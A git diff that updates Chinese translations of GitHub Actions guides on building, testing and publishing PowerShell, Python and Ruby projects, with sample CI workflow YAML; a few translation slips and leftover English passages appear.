-The `always()` function configures the job to continue processing even if there are test failures. For more information, see "[always](/actions/reference/context-and-expression-syntax-for-github-actions#always)."
+`always()` 函数配置作业在测试失败时也继续处理。 更多信息请参阅“[always](/actions/reference/context-and-expression-syntax-for-github-actions#always)”。
 
-## Publishing to PowerShell Gallery
+## 发布到 PowerShell Gallery
 
-You can configure your workflow to publish your PowerShell module to the PowerShell Gallery when your CI tests pass. You can use secrets to store any tokens or credentials needed to publish your package. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+您可以配置工作流程在 CI 测试通过时将 PowerShell 模块发布到 PowerShell Gallery。 您可以使用机密来存储发布软件包所需的任何令牌或凭据。 更多信息请参阅“[创建和使用加密密码](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
 
-The following example creates a package and uses `Publish-Module` to publish it to the PowerShell Gallery:
+下面的示例创建软件包并使用 `Publish-Module` 将其发布到PowerShell Gallery：
 
 {% raw %}
 ```yaml
diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-python.md b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-python.md
index bdbeef71ff..39c4bcc52e 100644
--- a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-python.md
+++ b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-python.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Python
-intro: You can create a continuous integration (CI) workflow to build and test your Python project.
+title: 构建和测试 Python
+intro: 您可以创建持续集成 (CI) 工作流程来构建和测试您的 Python 项目。
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/using-python-with-github-actions
   - /actions/language-and-framework-guides/using-python-with-github-actions
@@ -15,38 +15,38 @@ hidden: true
 topics:
   - CI
   - Python
-shortTitle: Build & test Python
+shortTitle: 构建和测试 Python
 hasExperimentalAlternative: true
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This guide shows you how to build, test, and publish a Python package.
+本指南介绍如何构建、测试和发布 Python 包。
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
-{% else %} {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Python and PyPy. You don't have to install anything! For a full list of up-to-date software and the pre-installed versions of Python and PyPy, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% else %} {% data variables.product.prodname_dotcom %} 托管的运行器有工具缓存预安装的软件，包括 Python 和 PyPy。 您无需安装任何项目！ 有关最新版软件以及 Python 和 PyPy 预安装版本的完整列表，请参阅 [{% data variables.product.prodname_dotcom %} 托管的运行器的规格](/actions/reference/specifications-for-github-hosted-runners/#supported-software)。
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+您应该熟悉 YAML 和 {% data variables.product.prodname_actions %} 的语法。 更多信息请参阅“[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)”。
 
-We recommend that you have a basic understanding of Python, PyPy, and pip. For more information, see:
-- [Getting started with Python](https://www.python.org/about/gettingstarted/)
+建议您对 Python、PyPy 和 pip 有个基本的了解。 更多信息请参阅：
+- [开始使用 Python](https://www.python.org/about/gettingstarted/)
 - [PyPy](https://pypy.org/)
-- [Pip package manager](https://pypi.org/project/pip/)
+- [Pip 包管理器](https://pypi.org/project/pip/)
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Starting with the Python workflow template
+## Using the Python starter workflow
 
-{% data variables.product.prodname_dotcom %} provides a Python workflow template that should work for most Python projects. This guide includes examples that you can use to customize the template. For more information, see the [Python workflow template](https://github.com/actions/starter-workflows/blob/main/ci/python-package.yml).
+{% data variables.product.prodname_dotcom %} provides a Python starter workflow that should work for most Python projects. This guide includes examples that you can use to customize the starter workflow. For more information, see the [Python starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/python-package.yml).
 
-To get started quickly, add the template to the `.github/workflows` directory of your repository.
+To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository.
 
 {% raw %}
 ```yaml{:copy}
@@ -85,27 +85,33 @@ jobs:
 ```
 {% endraw %}
 
-## Specifying a Python version
+## 指定 Python 版本
 
-To use a pre-installed version of Python or PyPy on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-python` action. This action finds a specific version of Python or PyPy from the tools cache on each runner and adds the necessary binaries to `PATH`, which persists for the rest of the job. If a specific version of Python is not pre-installed in the tools cache, the `setup-python` action will download and set up the appropriate version from the [`python-versions`](https://github.com/actions/python-versions) repository.
+要在 {% data variables.product.prodname_dotcom %} 托管的运行器上使用预安装的 Python 或 PyPy 版本，请使用 `setup-python` 操作。 此操作从每个运行器上的工具缓存中查找特定版本的 Python 或 PyPy，并将必要的二进制文件添加到 `PATH`，这可继续用于作业的其余部分。 如果工具缓存中未安装特定版本的 Python，`setup-python` 操作将从 [`python-versions`](https://github.com/actions/python-versions) 仓库下载并设置适当的版本。
 
-Using the `setup-python` action is the recommended way of using Python with {% data variables.product.prodname_actions %} because it ensures consistent behavior across different runners and different versions of Python. If you are using a self-hosted runner, you must install Python and add it to `PATH`. For more information, see the [`setup-python` action](https://github.com/marketplace/actions/setup-python).
+使用 `setup-action` 是 Python 与 {% data variables.product.prodname_actions %} 结合使用时的推荐方式，因为它能确保不同运行器和不同版本的 Python 行为一致。 如果使用自托管运行器，则必须安装 Python 并将其添加到 `PATH`。 更多信息请参阅 [`setup-python` 操作](https://github.com/marketplace/actions/setup-python)。
 
-The table below describes the locations for the tools cache in each {% data variables.product.prodname_dotcom %}-hosted runner.
+下表描述了每个 {% data variables.product.prodname_dotcom %} 托管的运行器中工具缓存的位置。
 
-|| Ubuntu | Mac | Windows |
-|------|-------|------|----------|
-|**Tool Cache Directory** |`/opt/hostedtoolcache/*`|`/Users/runner/hostedtoolcache/*`|`C:\hostedtoolcache\windows\*`|
-|**Python Tool Cache**|`/opt/hostedtoolcache/Python/*`|`/Users/runner/hostedtoolcache/Python/*`|`C:\hostedtoolcache\windows\Python\*`|
-|**PyPy Tool Cache**|`/opt/hostedtoolcache/PyPy/*`|`/Users/runner/hostedtoolcache/PyPy/*`|`C:\hostedtoolcache\windows\PyPy\*`|
+|                 | Ubuntu                          | Mac                                      | Windows                                    |
+| --------------- | ------------------------------- | ---------------------------------------- | ------------------------------------------ |
+| **工具缓存目录**      | `/opt/hostedtoolcache/*`        | `/Users/runner/hostedtoolcache/*`        | `C:\hostedtoolcache\windows\*`         |
+| **Python 工具缓存** | `/opt/hostedtoolcache/Python/*` | `/Users/runner/hostedtoolcache/Python/*` | `C:\hostedtoolcache\windows\Python\*` |
+| **PyPy 工具缓存**   | `/opt/hostedtoolcache/PyPy/*`   | `/Users/runner/hostedtoolcache/PyPy/*`   | `C:\hostedtoolcache\windows\PyPy\*`   |
 
-If you are using a self-hosted runner, you can configure the runner to use the `setup-python` action to manage your dependencies. For more information, see [using setup-python with a self-hosted runner](https://github.com/actions/setup-python#using-setup-python-with-a-self-hosted-runner) in the `setup-python` README.
+如果您正在使用自托管的运行器，则可以配置运行器使用 `setup-python` 操作来管理您的依赖项。 更多信息请参阅 `setup-python` 自述文件中的
 
-{% data variables.product.prodname_dotcom %} supports semantic versioning syntax. For more information, see "[Using semantic versioning](https://docs.npmjs.com/about-semantic-versioning#using-semantic-versioning-to-specify-update-types-your-package-can-accept)" and the "[Semantic versioning specification](https://semver.org/)."
+将 setup-python 与自托管运行器一起使用</code>。</p> 
 
-### Using multiple Python versions
+{% data variables.product.prodname_dotcom %} 支持语义版本控制语法。 更多信息请参阅“[使用语义版本控制](https://docs.npmjs.com/about-semantic-versioning#using-semantic-versioning-to-specify-update-types-your-package-can-accept)”和“[语义版本控制规范](https://semver.org/)”。
+
+
+
+### 使用多个 Python 版本
 
 {% raw %}
+
+
 ```yaml{:copy}
 name: Python package
 
@@ -131,13 +137,19 @@ jobs:
       - name: Display Python version
         run: python -c "import sys; print(sys.version)"
 ```
+
+
 {% endraw %}
 
-### Using a specific Python version
 
-You can configure a specific version of python. For example, 3.8. Alternatively, you can use semantic version syntax to get the latest minor release. This example uses the latest minor release of Python 3.
+
+### 使用特定的 Python 版本
+
+您可以配置 python 的特定版本。 例如，3.8。 或者，您也可以使用语义版本语法来获得最新的次要版本。 此示例使用 Python 3 最新的次要版本。
 
 {% raw %}
+
+
 ```yaml{:copy}
 name: Python package
 
@@ -161,15 +173,21 @@ jobs:
       - name: Display Python version
         run: python -c "import sys; print(sys.version)"
 ```
+
+
 {% endraw %}
 
-### Excluding a version
 
-If you specify a version of Python that is not available, `setup-python` fails with an error such as: `##[error]Version 3.4 with arch x64 not found`. The error message includes the available versions.
 
-You can also use the `exclude` keyword in your workflow if there is a configuration of Python that you do not wish to run. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy)."
+### 排除版本
+
+如果指定不可用的 Python 版本，`setup-python` 将会失败，且显示如下错误：`##[error]Version 3.4 with arch x64 not found`。 错误消息包含可用的版本。
+
+如果存在您不想运行的 Python 配置，您也可以在工作流程中使用 `exclude` 关键字。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy)”。
 
 {% raw %}
+
+
 ```yaml{:copy}
 name: Python package
 
@@ -189,25 +207,34 @@ jobs:
           - os: windows-latest
             python-version: "3.6"
 ```
+
+
 {% endraw %}
 
-### Using the default Python version
 
-We recommend using `setup-python` to configure the version of Python used in your workflows because it helps make your dependencies explicit. If you don't use `setup-python`, the default version of Python set in `PATH` is used in any shell when you call `python`. The default version of Python varies between {% data variables.product.prodname_dotcom %}-hosted runners, which may cause unexpected changes or use an older version than expected.
 
-| {% data variables.product.prodname_dotcom %}-hosted runner | Description |
-|----|----|
-| Ubuntu | Ubuntu runners have multiple versions of system Python installed under `/usr/bin/python` and `/usr/bin/python3`. The Python versions that come packaged with Ubuntu are in addition to the versions that {% data variables.product.prodname_dotcom %} installs in the tools cache. |
-| Windows | Excluding the versions of Python that are in the tools cache, Windows does not ship with an equivalent version of system Python. To maintain consistent behavior with other runners and to allow Python to be used out-of-the-box without the `setup-python` action, {% data variables.product.prodname_dotcom %} adds a few versions from the tools cache to `PATH`.|
-| macOS | The macOS runners have more than one version of system Python installed, in addition to the versions that are part of the tools cache. The system Python versions are located in the `/usr/local/Cellar/python/*` directory. |
+### 使用默认 Python 版本
 
-## Installing dependencies
+建议使用 `setup-python` 配置工作流程中使用的 Python 版本，因为它有助于使您的依赖关系变得明朗。 如果不使用 `setup-python`，调用 `python` 时将在任何 shell 中使用 `PATH` 中设置的 Python 默认版本。 {% data variables.product.prodname_dotcom %} 托管的运行器之间有不同的 Python 默认版本，这可能导致非预期的更改或使用的版本比预期更旧。
 
-{% data variables.product.prodname_dotcom %}-hosted runners have the pip package manager installed. You can use pip to install dependencies from the PyPI package registry before building and testing your code. For example, the YAML below installs or upgrades the `pip` package installer and the `setuptools` and `wheel` packages.
+| {% data variables.product.prodname_dotcom %} 托管的运行器 | 描述                                                                                                                                                                         |
+| --------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Ubuntu                                              | Ubuntu 运行器有多个版本的系统 Python 安装在 `/usr/bin/python` 和 `/usr/bin/python3` 下。 {% data variables.product.prodname_dotcom %} 除了安装在工具缓存中的版本，还有与 Ubuntu 一起打包的 Python 版本。             |
+| Windows                                             | 不包括工具缓存中的 Python 版本，Windows 未随附同等版本的系统 Python。 为保持与其他运行器一致的行为，并允许 Python 在没有 `setup-python` 操作的情况下开箱即用，{% data variables.product.prodname_dotcom %} 将从工具缓存中添加几个版本到 `PATH`。 |
+| macOS                                               | 除了作为工具缓存一部分的版本外，macOS 运行器还安装了多个版本的系统 Python。 系统 Python 版本位于 `/usr/local/Cellar/python/*` 目录中。                                                                              |
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can also cache dependencies to speed up your workflow. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+
+
+
+## 安装依赖项
+
+{% data variables.product.prodname_dotcom %} 托管的运行器安装了 pip 软件包管理器。 在构建和测试代码之前，您可以使用 pip 从 PyPI 软件包注册表安装依赖项。 例如，下面的 YAML 安装或升级 `pip` 软件包安装程序以及 `setuptools` 和 `wheel` 软件包。
+
+使用 {% data variables.product.prodname_dotcom %} 托管的运行器时，您还可以缓存依赖项以加速工作流程。 更多信息请参阅“<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">缓存依赖项以加快工作流程</a>”。
 
 {% raw %}
+
+
 ```yaml{:copy}
 steps:
 - uses: actions/checkout@v2
@@ -218,13 +245,19 @@ steps:
 - name: Install dependencies
   run: python -m pip install --upgrade pip setuptools wheel
 ```
+
+
 {% endraw %}
 
-### Requirements file
 
-After you update `pip`, a typical next step is to install dependencies from *requirements.txt*. For more information, see [pip](https://pip.pypa.io/en/stable/cli/pip_install/#example-requirements-file).
+
+### 要求文件
+
+在更新 `pip` 后，下一步通常是从 *requires.txt* 安装依赖项。 更多信息请参阅 [pip](https://pip.pypa.io/en/stable/cli/pip_install/#example-requirements-file)。
 
 {% raw %}
+
+
 ```yaml{:copy}
 steps:
 - uses: actions/checkout@v2
@@ -237,14 +270,20 @@ steps:
     python -m pip install --upgrade pip
     pip install -r requirements.txt
 ```
+
+
 {% endraw %}
 
-### Caching Dependencies
+
+
+### 缓存依赖项
 
 When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache and restore the dependencies using the [`setup-python` action](https://github.com/actions/setup-python).
 
 The following example caches dependencies for pip.
 
+
+
 ```yaml{:copy}
 steps:
 - uses: actions/checkout@v2
@@ -256,19 +295,26 @@ steps:
 - run: pip test
 ```
 
+
 By default, the `setup-python` action searches for the dependency file (`requirements.txt` for pip or `Pipfile.lock` for pipenv) in the whole repository. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching packages dependencies</a>" in the `setup-python` actions README. 
 
-If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). Pip caches dependencies in different locations, depending on the operating system of the runner. The path you'll need to cache may differ from the Ubuntu example above, depending on the operating system you use. For more information, see [Python caching examples](https://github.com/actions/cache/blob/main/examples.md#python---pip) in the `cache` action repository.
+If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). Pip 根据运行器的操作系统将依赖项缓存在不同的位置。 The path you'll need to cache may differ from the Ubuntu example above, depending on the operating system you use. For more information, see [Python caching examples](https://github.com/actions/cache/blob/main/examples.md#python---pip) in the `cache` action repository.
 
-## Testing your code
 
-You can use the same commands that you use locally to build and test your code.
 
-### Testing with pytest and pytest-cov
+## 测试代码
 
-This example installs or upgrades `pytest` and `pytest-cov`. Tests are then run and output in JUnit format while code coverage results are output in Cobertura. For more information, see [JUnit](https://junit.org/junit5/) and [Cobertura](https://cobertura.github.io/cobertura/).
+您可以使用与本地相同的命令来构建和测试代码。
+
+
+
+### 使用 pytest 和 pytest-cov 测试
+
+此示例安装或升级 `pytest` 和 `pest-cov`。 然后进行测试并以 JUnit 格式输出，而代码覆盖结果则以 Cobertura 输出。 更多信息请参阅 [JUnit](https://junit.org/junit5/) 和 [Cobertura](https://cobertura.github.io/cobertura/)。
 
 {% raw %}
+
+
 ```yaml{:copy}
 steps:
 - uses: actions/checkout@v2
@@ -286,13 +332,19 @@ steps:
     pip install pytest-cov
     pytest tests.py --doctest-modules --junitxml=junit/test-results.xml --cov=com --cov-report=xml --cov-report=html
 ```
+
+
 {% endraw %}
 
-### Using Flake8 to lint code
 
-The following example installs or upgrades `flake8` and uses it to lint all files. For more information, see [Flake8](http://flake8.pycqa.org/en/latest/).
+
+### 使用 Flake8 嵌入代码
+
+下面的示例安装或升级 `flake8` 并用它来嵌入所有文件。 更多信息请参阅 [Flake8](http://flake8.pycqa.org/en/latest/)。
 
 {% raw %}
+
+
 ```yaml{:copy}
 steps:
 - uses: actions/checkout@v2
@@ -310,15 +362,21 @@ steps:
     flake8 .
   continue-on-error: true
 ```
+
+
 {% endraw %}
 
-The linting step has `continue-on-error: true` set. This will keep the workflow from failing if the linting step doesn't succeed. Once you've addressed all of the linting errors, you can remove this option so the workflow will catch new issues.
+嵌入步骤设置了 `continue-on-error: true`。 这可防止在嵌入步骤不成功时工作流程失败。 解决所有嵌入错误后，您可以删除此选项，以便工作流程捕获新问题。
 
-### Running tests with tox
 
-With {% data variables.product.prodname_actions %}, you can run tests with tox and spread the work across multiple jobs. You'll need to invoke tox using the `-e py` option to choose the version of Python in your `PATH`, rather than specifying a specific version. For more information, see [tox](https://tox.readthedocs.io/en/latest/).
+
+### 使用 tox 运行测试
+
+通过 {% data variables.product.prodname_actions %}，您可以使用 tox 运行测试并将工作分散到多个作业。 您需要使用 `-e py` 选项调用 tox，以在 `PATH` 中选择 Python 版本，而不是指定特定版本。 更多信息请参阅 [tox](https://tox.readthedocs.io/en/latest/)。
 
 {% raw %}
+
+
 ```yaml{:copy}
 name: Python package
 
@@ -344,15 +402,21 @@ jobs:
         # Run tox using the version of Python in `PATH`
         run: tox -e py
 ```
+
+
 {% endraw %}
 
-## Packaging workflow data as artifacts
 
-You can upload artifacts to view after a workflow completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
 
-The following example demonstrates how you can use the `upload-artifact` action to archive test results from running `pytest`. For more information, see the [`upload-artifact` action](https://github.com/actions/upload-artifact).
+## 将工作流数据打包为构件
+
+您可以在工作流程完成后上传构件以查看。 例如，您可能需要保存日志文件、核心转储、测试结果或屏幕截图。 更多信息请参阅“[使用构件持久化工作流程](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)”。
+
+下面的示例演示如何使用 `upload-artifact` 操作来存档运行 `pytest` 的测试结果。 更多信息请参阅 [`upload-artifact` 操作](https://github.com/actions/upload-artifact)。
 
 {% raw %}
+
+
 ```yaml{:copy}
 name: Python package
 
@@ -387,13 +451,19 @@ jobs:
         # Use always() to always run this step to publish test results when there are test failures
         if: ${{ always() }}
 ```
+
+
 {% endraw %}
 
-## Publishing to package registries
 
-You can configure your workflow to publish your Python package to a package registry once your CI tests pass. This section demonstrates how you can use {% data variables.product.prodname_actions %} to upload your package to PyPI each time you [publish a release](/github/administering-a-repository/managing-releases-in-a-repository). 
 
-For this example, you will need to create two [PyPI API tokens](https://pypi.org/help/#apitoken). You can use secrets to store the access tokens or credentials needed to publish your package. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+## 发布到包注册表
+
+您可以配置工作流程在 CI 测试通过后将 Python 包发布到包注册表。 此部分展示在您每次[发布版本](/github/administering-a-repository/managing-releases-in-a-repository)时如何使用 {% data variables.product.prodname_actions %} 将包上传到 PyPI。 
+
+在本例中，您将需要创建两个 [PyPI API 令牌](https://pypi.org/help/#apitoken)。 您可以使用机密来存储发布软件包所需的访问令牌或凭据。 更多信息请参阅“[创建和使用加密密码](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
+
+
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -426,4 +496,5 @@ jobs:
           password: {% raw %}${{ secrets.PYPI_API_TOKEN }}{% endraw %}
 ```
 
-For more information about the template workflow, see [`python-publish`](https://github.com/actions/starter-workflows/blob/main/ci/python-publish.yml).
+
+For more information about the starter workflow, see [`python-publish`](https://github.com/actions/starter-workflows/blob/main/ci/python-publish.yml).
diff --git a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-ruby.md b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-ruby.md
index 6da09a7717..e677d40373 100644
--- a/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-ruby.md
+++ b/translations/zh-CN/content/actions/automating-builds-and-tests/building-and-testing-ruby.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Ruby
-intro: You can create a continuous integration (CI) workflow to build and test your Ruby project.
+title: 构建和测试 Ruby
+intro: 您可以创建持续集成 (CI) 工作流程来构建和测试您的 Ruby 项目。
 redirect_from:
   - /actions/guides/building-and-testing-ruby
 versions:
@@ -12,28 +12,28 @@ type: tutorial
 topics:
   - CI
   - Ruby
-shortTitle: Build & test Ruby
+shortTitle: 构建和测试Ruby
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This guide shows you how to create a continuous integration (CI) workflow that builds and tests a Ruby application. If your CI tests pass, you may want to deploy your code or publish a gem.
+本指南介绍如何创建用来生成和测试 Ruby 应用程序的持续集成 (CI) 工作流程。 如果 CI 测试通过，您可能想要部署代码或发布 gem。
 
-## Prerequisites
+## 基本要求
 
-We recommend that you have a basic understanding of Ruby, YAML, workflow configuration options, and how to create a workflow file. For more information, see:
+建议基本了解 Ruby、YAML、工作流程配置选项以及如何创建工作流程文件。 更多信息请参阅：
 
-- [Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)
-- [Ruby in 20 minutes](https://www.ruby-lang.org/en/documentation/quickstart/)
+- [了解 {% data variables.product.prodname_actions %}](/actions/learn-github-actions)
+- [Ruby 20 分钟](https://www.ruby-lang.org/en/documentation/quickstart/)
 
-## Starting with the Ruby workflow template
+## Using the Ruby starter workflow
 
-{% data variables.product.prodname_dotcom %} provides a Ruby workflow template that will work for most Ruby projects. For more information, see the [Ruby workflow template](https://github.com/actions/starter-workflows/blob/master/ci/ruby.yml).
+{% data variables.product.prodname_dotcom %} provides a Ruby starter workflow that will work for most Ruby projects. For more information, see the [Ruby starter workflow](https://github.com/actions/starter-workflows/blob/master/ci/ruby.yml).
 
-To get started quickly, add the template to the `.github/workflows` directory of your repository. The workflow shown below assumes that the default branch for your repository is `main`.
+To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository. 下面显示的工作流假定仓库的默认分支是 `main`。
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -63,13 +63,13 @@ jobs:
         run: bundle exec rake
 ```
 
-## Specifying the Ruby version
+## 指定 Ruby 版本
 
-The easiest way to specify a Ruby version is by using the `ruby/setup-ruby` action provided by the Ruby organization on GitHub. The action adds any supported Ruby version to `PATH` for each job run in a workflow. For more information see, the [`ruby/setup-ruby`](https://github.com/ruby/setup-ruby).
+指定 Ruby 版本的最简单方法是使用 Ruby 组织在 GitHub 上提供的 `ruby/setup-ruby` 操作。 该操作将任何受支持的 Ruby 版本添加到工作流程中运行的每个作业的 `PATH`。 更多信息请参阅 [`ruby/setup-ruby`](https://github.com/ruby/setup-ruby)。
 
-Using Ruby's `ruby/setup-ruby` action is the recommended way of using Ruby with GitHub Actions because it ensures consistent behavior across different runners and different versions of Ruby.
+使用 Ruby 的 `ruby/setup-ruby` 操作是 Python 与 GitHub Actions 结合使用时的推荐方式，因为它能确保不同运行器和不同版本的 Ruby 行为一致。
 
-The `setup-ruby` action takes a Ruby version as an input and configures that version on the runner.
+`setup-ruby` 操作采用 Ruby 版本作为输入，并在运行器上配置该版本。
 
 {% raw %}
 ```yaml
@@ -83,11 +83,11 @@ steps:
 ```
 {% endraw %}
 
-Alternatively, you can check a `.ruby-version` file  into the root of your repository and `setup-ruby` will use the version defined in that file.
+或者，您也可以将 `.ruby-version` 文件检入仓库的根目录，而 `setup-ruby` 将使用该文件中定义的版本。
 
-## Testing with multiple versions of Ruby
+## 使用多个版本的 Ruby 进行测试
 
-You can add a matrix strategy to run your workflow with more than one version of Ruby. For example, you can test your code against the latest patch releases of versions 2.7, 2.6, and 2.5. The 'x' is a wildcard character that matches the latest patch release available for a version.
+您可以添加矩阵策略，以在多个版本的 Ruby 上运行工作流程。 例如，您可以根据版本 2.7、2.6 和 2.5 的最新修补程序版本测试代码。 "x" 是一个通配符，与版本的最新修补程序版本匹配。
 
 {% raw %}
 ```yaml
@@ -97,9 +97,9 @@ strategy:
 ```
 {% endraw %}
 
-Each version of Ruby specified in the `ruby-version` array creates a job that runs the same steps. The {% raw %}`${{ matrix.ruby-version }}`{% endraw %} context is used to access the current job's version. For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions)" and "[Contexts](/actions/learn-github-actions/contexts)."
+`ruby-version` 阵列中指定的每个 Ruby 版本都会创建一个运行相同步骤的作业。 {% raw %}`${{ matrix.ruby-version }}`{% endraw %} 上下文用于访问当前作业的版本。 For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions)" and "[Contexts](/actions/learn-github-actions/contexts)."
 
-The full updated workflow with a matrix strategy could look like this:
+包含矩阵策略的完整更新工作流程可能看起如下：
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -133,9 +133,9 @@ jobs:
         run: bundle exec rake
 ```
 
-## Installing dependencies with Bundler
+## 使用 Bundler 安装依赖项
 
-The `setup-ruby` action will automatically install bundler for you. The version is determined by your `gemfile.lock` file. If no version is present in your lockfile, then the latest compatible version will be installed.
+`setup-ruby` 操作将自动为您安装 Bundler。 版本由您的 `gemfile.lock` 文件决定。 如果您的锁定文件中没有版本，则会安装最新的兼容版本。
 
 {% raw %}
 ```yaml
@@ -148,11 +148,11 @@ steps:
 ```
 {% endraw %}
 
-### Caching dependencies
+### 缓存依赖项
 
-If you are using {% data variables.product.prodname_dotcom %}-hosted runners, the `setup-ruby` actions provides a method to automatically handle the caching of your gems between runs.
+如果您使用的是 {% data variables.product.prodname_dotcom %} 托管的运行器， `setup-ruby` 操作提供了在运行之间自动处理 gem 缓存的方法。
 
-To enable caching, set the following.
+要启用缓存，请设置以下内容。
 
 {% raw %}
 ```yaml
@@ -163,11 +163,11 @@ steps:
 ```
 {% endraw %}
 
-This will configure bundler to install your gems to `vendor/cache`. For each successful run of your workflow, this folder will be cached by Actions and re-downloaded for subsequent workflow runs. A hash of your gemfile.lock and the Ruby version are used as the cache key. If you install any new gems, or change a version, the cache will be invalidated and bundler will do a fresh install.
+这将配置 Bundler 以安装 gem 到 `vendor/cache`。 对于工作流程的每次成功运行，此文件夹将由 Actions 缓存，并重新下载用于后续的工作流程运行。 gemfile.lock 和 Ruby 版本的哈希值用作缓存密钥。 如果安装任何新 Gem 或更改版本，缓存将失效，Bundler 将进行全新安装。
 
-**Caching without setup-ruby**
+**无 setup-ruby 的缓存**
 
-For greater control over caching, if you are using {% data variables.product.prodname_dotcom %}-hosted runners, you can use the `actions/cache` Action directly. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+为了加强缓存控制，如果您使用的是 {% data variables.product.prodname_dotcom %} 托管的运行器，可以直接使用 `actions/cache` 操作。 更多信息请参阅“<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">缓存依赖项以加快工作流程</a>”。
 
 {% raw %}
 ```yaml
@@ -185,7 +185,7 @@ steps:
 ```
 {% endraw %}
 
-If you're using a matrix build, you will want to include the matrix variables in your cache key. For example, if you have a matrix strategy for different ruby versions (`matrix.ruby-version`) and different operating systems (`matrix.os`), your workflow steps might look like this:
+如果您使用的是矩阵构建，您将会想要在缓存密钥中包含矩阵变量。 例如，如果您e 不同 ruby 版本 (`matrix.ruby-version`) 和不同系统 (`matrix.os`) 的矩阵策略，您的工作流程步骤可能看起来如下：
 
 {% raw %}
 ```yaml
@@ -203,9 +203,9 @@ steps:
 ```
 {% endraw %}
 
-## Matrix testing your code
+## 测试代码的矩阵
 
-The following example matrix tests all stable releases and head versions of MRI, JRuby and TruffleRuby on Ubuntu and macOS.
+下面的示例矩阵在 Ubuntu 和 macOS 上测试 MRI、JRuby 和 TruffleRuby 的所有稳定版本和头部版本。
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -236,9 +236,9 @@ jobs:
       - run: bundle exec rake
 ```
 
-## Linting your code
+## 嵌入代码
 
-The following example installs `rubocop` and uses it to lint all files. For more information, see [Rubocop](https://github.com/rubocop-hq/rubocop). You can [configure Rubocop](https://docs.rubocop.org/rubocop/configuration.html) to decide on the specific linting rules.
+下面的示例安装 `rubocop` 并用它来嵌入所有文件。 更多信息请参阅 [Rubocop](https://github.com/rubocop-hq/rubocop)。 您可以[配置 Rubocop](https://docs.rubocop.org/rubocop/configuration.html) 来决定特定的嵌入规则。
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -260,11 +260,11 @@ jobs:
         run: rubocop
 ```
 
-## Publishing Gems
+## 发布 Gem
 
-You can configure your workflow to publish your Ruby package to any package registry you'd like when your CI tests pass.
+您可以配置工作流程在 CI 测试通过时将 Ruby 包发布到您想要的任何包注册表。
 
-You can store any access tokens or credentials needed to publish your package using repository secrets. The following example creates and publishes a package to `GitHub Package Registry` and `RubyGems`.
+您可以使用仓库密码存储发布软件包所需的访问令牌或凭据。 下面的示例创建包并将其发布到 `GitHub Package 注册表`和 `RubyGems`。
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
